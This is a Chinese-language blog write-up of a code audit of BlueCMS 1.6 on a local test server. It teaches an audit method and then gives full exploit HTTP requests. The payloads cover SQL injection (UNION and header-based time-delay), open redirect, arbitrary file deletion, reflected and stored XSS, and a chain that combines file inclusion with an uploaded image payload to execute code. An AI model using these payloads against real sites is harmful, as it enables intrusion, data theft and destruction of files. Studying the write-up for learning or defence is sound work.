记录bluecms1.6审计过程以及漏洞分析

前言

笔者属于新手,刚接触审计不久,刚拿到一个完全陌生的cms,一开始完全不知道如何下手,所以我通过不断阅读别人的审计文章,重点观察别人的审计思路,一开始看别人的审计文章其实不应该关注这个cms到底有什么漏洞,因为那都是别人已经审计好了的,你应该重点关注别人到底是怎么挖到这个洞的,这样你才能锻炼独立审计的能力,这篇文章我也会把我审计的全过程思路分享出来。

全局分析

首先拿到这个bluecms,安装完成后,我首先观察整个cms的文件结构

其实每个文件夹的功能从名字就大概能猜出,比如/admin肯定是后台管理员才能访问进行管理的;/include肯定是用来包含的全局文件,例如一些函数定义的文件,一些数据库配置,过滤文件等等;/templates肯定是一些模板文件,看到这个文件夹就能猜到这里面放着的都是一些html模板,用来通过后台进行渲染的。当然这都是初步的大致浏览,具体还要等到后面访问页面才知道。

下面,浏览了网页结构,就开始审计具体文件了,那么问题来了,审计哪个呢,这么多文件。这里我的思路还是首先访问根目录下的index.php文件,因为它是整个网站的首页。

先来看看首页的代码:

好多,将近300行,肯定不可能一行行的看,这里我首先还是先看主页面的开头包含了什么文件

1
2
require_once('include/common.inc.php');
require_once(BLUE_ROOT.'include/index.fun.php');

前面说到/include文件夹,果然就包含了里面的文件,这些文件往往对我们审计过程都非常重要,一定要重视

先来看看include/common.inc.php

1
2
3
4
5
6
7
8
#30-36行
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}

我们马上就发现了在30-36行处,对全局数组POST,GET,COOKIES,REQUEST都进行了转义处理,所以只要通过这些方式输入的数据中存在单引号,双引号都会被转义。这就是为什么强调开头这些包含文件的重要性,如果我们没看到,就忽略了这些过滤,后面例如sql注入的注入点被单引号包裹,我们不知道有过滤还以为可以进行注入

另外在24-28行处还包含了一些函数文件

1
2
3
4
5
require_once (BLUE_ROOT.'include/common.fun.php');
require_once(BLUE_ROOT.'include/cat.fun.php');
require_once(BLUE_ROOT.'include/cache.fun.php');
require_once(BLUE_ROOT.'include/user.fun.php');
require_once(BLUE_ROOT.'include/index.fun.php');

后面遇到看不懂的函数,可以通过跟踪函数名在这些文件中搜索

就这样大致浏览一下这些文件的开头部分,后面其实大多都是功能部分,我们有的其实都不用去关注,毕竟我们本来就不可能每行都去看一遍

漏洞挖掘

1.跟踪输入变量

笔者一开始审计,也是很盲目,看了半天代码,还是看不出哪儿存在漏洞,主要一个原因还是代码太多了。所以感觉挖掘漏洞,还是要有方法,有明确思路,这样才能有效快速。在我浏览别人的审计文章时,看到了一句话:“有输入的地方就可能存在漏洞”。这句话讲的很有道理,这么多的web漏洞,本质上都是存在用户的输入才导致的,所以,我一开始就是关注每个文件哪里存在用户的输入。

从根目录开始,按顺序我们先来看看ad_js.php文件

1
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';

文件很短,我们可以一口气将它看完,开头就有我们可以通过GET方式进行控制的变量,继续看下去,我们马上就看到了一个sql查询语句

1
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

在前面我们说过,在common.inc.php文件中对我们的输入方式进行转义的过滤,我们注意到这个文件开头就包含了它,说明这里对$ad_id变量是存在转义处理的,但是这里的sql语句中$ad_id是没有单引号包裹的,所以我们根本不需要去关注过滤,很明显这里就存在了sql注入漏洞,具体利用后面在一起说

接下来是ann.php文件,这个文件就有点长,但是我们无需关心,只看开头有没有可以利用的变量

1
2
$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
$cid = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : 1;

可以看到,这里虽然输入变量,但是经过了intval函数的过滤处理,所以我们无法利用,这个文件我们就先pass掉,就这个道理继续往下看

来到user.php文件,存在可利用的变量$from和$act:

1
2
$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'default';
$from = !empty($_REQUEST['from']) ? $_REQUEST['from'] : '';

这个文件也很长,我们直接搜索关键字跟踪变量$from,发现大多数做为参数传入了showmsg函数,例如112行

1
showmsg('欢迎您 '.$user_name.' 回来,现在将转到...', $from);

我们可以大致猜到这个函数是用来进行页面跳转的,具体我们可以跟踪这个函数,这里我在seay审计系统中进行内容全局搜索function showmsg,查询结果在/include/common.fun.php文件中对这个函数进行了定义,审计该文件中的这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
function showmsg($msg,$gourl='goback', $is_write = false)
{
global $smarty;
$smarty->caching = false;
$smarty->assign("msg",$msg);
$smarty->assign("gourl",$gourl);
$smarty->display("showmsg.htm");
if($is_write)
{
write_log($msg, $_SESSION['admin_name']);
}
exit();
}

这里面又利用了两个函数assigndisplay,同样继续跟踪这两个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function assign($tpl_var, $value = null)
{
if (is_array($tpl_var)){
foreach ($tpl_var as $key => $val) {
if ($key != '') {
$this->_tpl_vars[$key] = $val;
}
}
} else {
if ($tpl_var != '')
$this->_tpl_vars[$tpl_var] = $value;
}
}

function display($resource_name, $cache_id = null, $compile_id = null)
{
$this->fetch($resource_name, $cache_id, $compile_id, true);
}

assign函数作用是将第二个参数作为键值,第一个参数作为键名。至于display函数,跟踪fetch函数有点长,这里我没有很详细的去看(其实是看不太懂…),只知道大致功能就是跳转页面。然后整个showmsg功能就是将assign中的数据渲染到display中的html页面。而这里传入参数$from,我们就可以猜测,可以通过该参数进行任意页面跳转的作用

依次类推,通过这个方法,相信只要耐心足够,一定很容易可以挖到一些漏洞

2.通过工具审计漏洞

第一种方法只是粗略的审计,一定还会有我们疏忽的漏洞,所以第二种方法,我用了审计工具来帮助我们进行审计,这里使用Seay审计系统,个人觉得还是不错的一款工具,还能进行关键字全局搜索。当然工具只是帮你分析可能存在的漏洞,并不是决定,具体我们还得一个个去耐心分析

可以看到,工具审计非常多可能存在的漏洞,但我还是按照第一种方法的思想,找存在输入的点,这样能更高效的寻找漏洞

例如上图,我们发现了变量$ip是通过头部的IP字段获取的,在这个字段我们是不用去关心转义过滤的,是个非常好利用的变量,所以我们赶紧跟踪/include/common.fun.php这个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}

我们可以发现这个关键函数getip,它返回的变量$ip我们是可以利用的,继续搜索这个函数getip,看看哪里可以利用到

发现/comment.php文件中存在通过该函数拼接而成的sql语句,猜测就可能存在sql注入漏洞,跟踪该文件

1
2
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";

在113-114行找到了拼接的sql语句,我们可以通过伪造头部X-Forwarded-For字段来进行sql注入

依次类推,通过工具帮助我们审计,也能挖掘到更多漏洞

3.搜索危险函数

第三种方法,我们还可以搜索一些导致漏洞的危险函数,例如unlinkincludemove_uploaded_file函数等,这里搜索unlink函数为例

搜索结果显示出非常多unlink函数中存在我们可以输入进行控制的变量,例如/user.php下的616行:

1
2
3
if (file_exists(BLUE_ROOT.$_POST['lit_pic'])) {
@unlink(BLUE_ROOT.$_POST['lit_pic']);
}

就存在可以利用的变量$_POST['lit_pic'],我们跟踪该变量,发现除了开头包含文件的转义处理以外,无其他过滤地方,很明显我们就可以利用该变量进行网站根目录下任意文件删除的操作

4.借鉴别人的文章

一开始审计,难免会有很多漏洞自己忽略掉没审计到,这时候我们就需要多去参考别人审计该cms的文章,寻找出自己未审计出的漏洞,并总结自己为什么没有找出该漏洞,这样就为下次审计积累更多的经验

漏洞分析

1.UNION注入

/ad_js.php第19行通过变量$ad_id拼接的sql语句由于变量$ad_id未进行过滤并且无引号包裹,存在SQL注入漏洞

1
2
3
4
5
6
7
8
9
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

有回馈信息,所以我们直接用union注入

首先通过order by测试查询字段数为7,然后通过测试得知回显字段在第6位

注数据库payload:

1
?ad_id=0%20union%20select%200,0,0,0,0,database(),0

注表名payload:

1
/ad_js.php?ad_id=0%20union%20select%200,0,0,0,0,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),0

注blue_ad表下的列名payload:

1
?ad_id=0%20union%20select%200,0,0,0,0,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x626c75655f6164),0

注意将blue_ad转化为十六进制

2.INSERT INTO注入

/include/common.fun.phpgetip()函数返回存在通过头部IP字段获取的变量,跟踪该函数发现comment.php下第113行可利用getip()获取的可控变量进行sql注入

1
2
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";

这是一个添加评论功能的页面,功能整体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
elseif($act == 'send')
{
if(empty($id))
{
return false;
}

$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
$mood = intval($_POST['mood']);
$content = !empty($_POST['comment']) ? htmlspecialchars($_POST['comment']) : '';
$content = nl2br($content);
$type = intval($_POST['type']);
if(empty($content))
{
showmsg('评论内容不能为空');
}
if($_CFG['comment_is_check'] == 0)
{
$is_check = 1;
}
else
{
$is_check = 0;
}

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);
if($type == 1)
{
$db->query("UPDATE ".table('article')." SET comment = comment+1 WHERE id = ".$id);
}
elseif($type == 0)
{
$db->query("UPDATE ".table('post')." SET comment = comment+1 WHERE post_id = ".$id);
}
if($_CFG['comment_is_check'] == 1)
{
showmsg('请稍候,您的评论正在审核当中...','comment.php?id='.$id.'&type='.$type);
}
else
{
showmsg('发布评论成功','comment.php?id='.$id.'&type='.$type);
}
}

要执行SQL语句所需要控制的变量为$_GET['act'] == 'send',$_POST['content'] != '',

然后分析SQL语句,这是一个INSERT INTO语句,注入的方式有挺多种,这里我采用的是通过select case when then else语句进行延时注入的方法,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /comment.php?act=send HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=gv5b2n1b6uk12phkt0fookutc4; BLUE[user_id]=3; BLUE[user_name]=user02; BLUE[user_pwd]=1e6a32c00852bd4dbf303ab4d54a1380; detail=5
X-Forwarded-For:1'+(select case when(ascii(substr(database(),1,1))=98) then sleep(1) else 1 end),'1')#
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

id=1&mood=1&comment=1&type=1

拼接后的sql语句为:

1
INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '1', '3', '1', '1', '1', '1', '1'+(select case when(ascii(substr(database(),1,1))=98) then sleep(1) else 1 end),'1')#, '1')

之后就是写脚本注入了

同样的漏洞存在于/include/common.inc.php第四十五行存在通过getip()函数获得的变量$online_ip,跟踪该变量发现/guest_book.php第77-78行同样存在SQL注入漏洞

1
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
elseif ($act == 'send')
{
$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
$rid = intval($_POST['rid']);
$content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
$content = nl2br($content);
if(empty($content))
{
showmsg('评论内容不能为空');
}
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
$db->query($sql);
showmsg('恭喜您留言成功', 'guest_book.php?page_id='.$_POST['page_id']);
}

构造payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /guest_book.php?act=send HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/ann.php?cid=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=gv5b2n1b6uk12phkt0fookutc4; detail=5
X-Forwarded-For:1'+(select case when(ascii(substr(database(),1,1))=98) then sleep(1) else 1 end),'1')#
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

rid=1&content=1

3.任意文件跳转漏洞

/user.php文件第112行通过控制变量$from可进行任意文件跳转

1
2
$from = !empty($from) ? base64_decode($from) : 'user.php';
showmsg('欢迎您 '.$user_name.' 回来,现在将转到...', $from);

前面我们已经分析了showmsg函数的作用是页面跳转,同时注意这里$from有经过base64解密,我们通过登录用户,抓取登录包,其实就可以发现$from变量,我们假设跳转到根目录下的robots.txt文件,将robots.txt进行base64编码

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /user.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 108
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/user.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3
Connection: close

referer=&user_name=user02&pwd=user02&safecode=xipt&useful_time=604800&submit=%B5%C7%C2%BC&from=cm9ib3RzLnR4dA==&act=do_login

登录成功后跳转到robots.txt页面

4.任意文件删除漏洞

/user.php第616行存在未过滤变量$_POST['lit_pic'],导致任意文件删除漏洞

1
2
3
if (file_exists(BLUE_ROOT.$_POST['lit_pic'])) {
@unlink(BLUE_ROOT.$_POST['lit_pic']);
}

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /user.php?act=do_info_edit HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=gv5b2n1b6uk12phkt0fookutc4; detail=4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

post_id=1&title=1&link_man=1&link_phone=1&lit_pic=demo.php

同样/admin/flash.php第62-63行存在未过滤变量$_POST['image_path2'],导致任意文件删除漏洞

1
2
3
if(file_exists(BLUE_ROOT.$_POST['image_path2'])){
@unlink(BLUE_ROOT.$_POST['image_path2']);
}

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /admin/flash.php?act=do_edit HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=gv5b2n1b6uk12phkt0fookutc4; detail=5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

image_id=1&image_path2=demo.php

5.反射型XSS

/admin/card.php第57行存在可利用的变量$name导致的反射型xss漏洞

1
2
$name		=	!empty($_POST['name']) ? trim($_POST['name']) : '';
showmsg('编辑充值卡 '.$name.' 成功', 'card.php');

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin/card.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 99
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/admin/card.php?act=edit&id=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=gv5b2n1b6uk12phkt0fookutc4; detail=4; BLUE[user_id]=2; BLUE[user_name]=user01; BLUE[user_pwd]=30f21397b842ad32aaeae277d571edcd
Connection: close

name=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&value=100&price=30&is_close=0&id=1&act=do_edit

弹框后跳转至card.php

6.存储型XSS

这个漏洞挺难发现的,我也是看别人的文章才学习到的,我们在审计时应该有注意在/user.php中的注册功能下有一个函数uc_user_register,跟踪该函数:

1
2
3
function uc_user_register($username, $password, $email, $questionid = '', $answer = '') {
return call_user_func(UC_API_FUNC, 'user', 'register', array('username'=>$username, 'password'=>$password, 'email'=>$email, 'questionid'=>$questionid, 'answer'=>$answer));
}

我们应该都会很奇怪这个UD_API_FUNC到底是什么鬼,查询一下其实就是一个引擎检查用户输入是否合法返回对应的uid,具体我们没必要深究下去,总之他是一个检查机制

而回到/user.php的编辑个人资料功能的代码下,我们惊奇的发现这个功能里,我们输入修改的资料信息后,直接将信息更新到了数据库中,并没有通过上面那个引擎对我们的输入进行合法性检查,所以我们就可以利用这个功能,进行存储型的XSS攻击

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
POST /user.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 1475
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOit6AnMUCD0FejzB
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/user.php?act=my_info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; BLUE[user_id]=3; BLUE[user_name]=user02; BLUE[user_pwd]=1e6a32c00852bd4dbf303ab4d54a1380; detail=4
Connection: close

------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="face_pic1"


------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="face_pic2"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="birthday"

2019-03-14
------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="sex"

0
------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="email"

<script>alert(/xss/)</script>
------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="msn"


------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="qq"


------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="office_phone"


------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="home_phone"


------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="mobile_phone"


------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="address"


------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="act"

edit_user_info
------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="submit"

È·ÈÏÐÞ¸Ä
------WebKitFormBoundaryOit6AnMUCD0FejzB
Content-Disposition: form-data; name="face_pic3"


------WebKitFormBoundaryOit6AnMUCD0FejzB--

编辑成功后跳转回用户信息界面,每次访问都会触发弹框,因为我们编辑用户邮箱为<script>alert(/xss/)</script>

7.任意文件包含漏洞

这个漏洞也是通过审计工具才知道的,在/user.php第750行:

1
2
3
4
5
6
7
8
9
10
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('对不起,您没有选择支付方式');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}

变量$_POST['pay']拼接到include函数中,且只有开头包含文件的转义过滤处理,我们可以使用0x00或文件长度截断方式进行过滤,本次审计的环境是PHP5.2.17,如果环境为5.4以上那么上述两种方法无效,不存在任意文件包含漏洞,但是为了更好理解漏洞,我还是将环境设为5.3以下

包含根目录下robots.txt的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /user.php?act=pay HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; detail=1; BLUE[user_id]=4; BLUE[user_name]=user03; BLUE[user_pwd]=25f1d8643365bf6087fae3b2b5b012d6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 632

pay=../../robots.txt....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

这里我使用了字符.来进行文件长度截断

有了文件包含漏洞,我们接着就可以考虑是不是上传图片马,这样就能成功执行shell,所以接下来我们找一个可以上传文件的页面:/admin/flash.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
elseif($act == 'do_add'){
$image_link = !empty($_POST['image_link']) ? trim($_POST['image_link']) : '';
$show_order = !empty($_POST['show_order']) ? intval($_POST['showorder']) : '';
if(isset($_FILES['image_path']['error']) && $_FILES['image_path']['error'] == 0){
$image_path = $image->img_upload($_FILES['image_path'],'flash');
}
if($image_path == ''){
showmsg('上传图片出错', true);
}
$image_path = empty($image_path) ? '' : $image_path;
if(!$db->query("INSERT INTO ".table('flash_image')." (image_id, image_path, image_link, show_order) VALUES ('', '$image_path', '$image_link', '$show_order')")){
showmsg('添加flash图片出错', true);
}else{
showmsg('添加flash图片成功', 'flash.php', true);
}
}

我们跟踪一下img_upload函数,定位到/include/upload.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private $allow_image_type = array('image/jpeg', 'image/gif', 'image/png', 'image/pjpeg');
private $extension_name_arr = array('jpg', 'gif', 'png', 'pjpeg');

function img_upload($file, $dir = '', $imgname = ''){
...
if(!in_array($file['type'],$this->allow_image_type)){
echo '<font style="color:red;">不允许的图片类型</font>';
exit;
}
if(empty($imgname)){
$imgname = $this->create_tempname().'.'.$this->get_type($file['name']);
}
}

function get_type($filepath){
$pos = strrpos($filepath,'.');
echo $pos;
if($pos !== false){
$extension_name = substr($filepath,$pos+1);
}
//echo $extension_name;
if(!in_array($extension_name, $this->extension_name_arr)){
echo '<font style="color:red;">您上传的文件不符合要求,请重试</font>';
exit;
}
return $extension_name;
}

该文件对上传文件进行文件类型和文件名的白名单检测,但是没有对文件内容进行检查,所以我们能轻易上传一个图片马

payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /admin/flash.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 499
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBbgiY0h0EVXwpD7b
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/admin/flash.php?act=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; detail=1; BLUE[user_id]=4; BLUE[user_name]=user03; BLUE[user_pwd]=25f1d8643365bf6087fae3b2b5b012d6
Connection: close

------WebKitFormBoundaryBbgiY0h0EVXwpD7b
Content-Disposition: form-data; name="image_path"; filename="info.jpg"
Content-Type: image/jpeg

<?php phpinfo(); ?>
------WebKitFormBoundaryBbgiY0h0EVXwpD7b
Content-Disposition: form-data; name="image_link"

1
------WebKitFormBoundaryBbgiY0h0EVXwpD7b
Content-Disposition: form-data; name="show_order"

0
------WebKitFormBoundaryBbgiY0h0EVXwpD7b
Content-Disposition: form-data; name="act"

do_add
------WebKitFormBoundaryBbgiY0h0EVXwpD7b--

上传成功后我们可以通过管理员界面得知上传文件所在目录为data/upload/flash/15525638906.jpg

我们再通过文件包含漏洞执行该图片马

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /user.php?act=pay HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; detail=1; BLUE[user_id]=4; BLUE[user_name]=user03; BLUE[user_pwd]=25f1d8643365bf6087fae3b2b5b012d6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

pay=../../data/upload/flash/15525638906.jpg........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

成功执行webshell

总结

总的来说,这次代码审计虽然花的时间比较久,但是收获了审计的思路,从一开始看到一个陌生的cms不知从何下手到慢慢有思路,有方法的审计,这个过程还是挺开心的,相信只要花时间有耐心,一定能提高自己的审计能力,最后附上参考文章:

一名代码审计新手的实战经历与感悟

从小众blueCMS入坑代码审计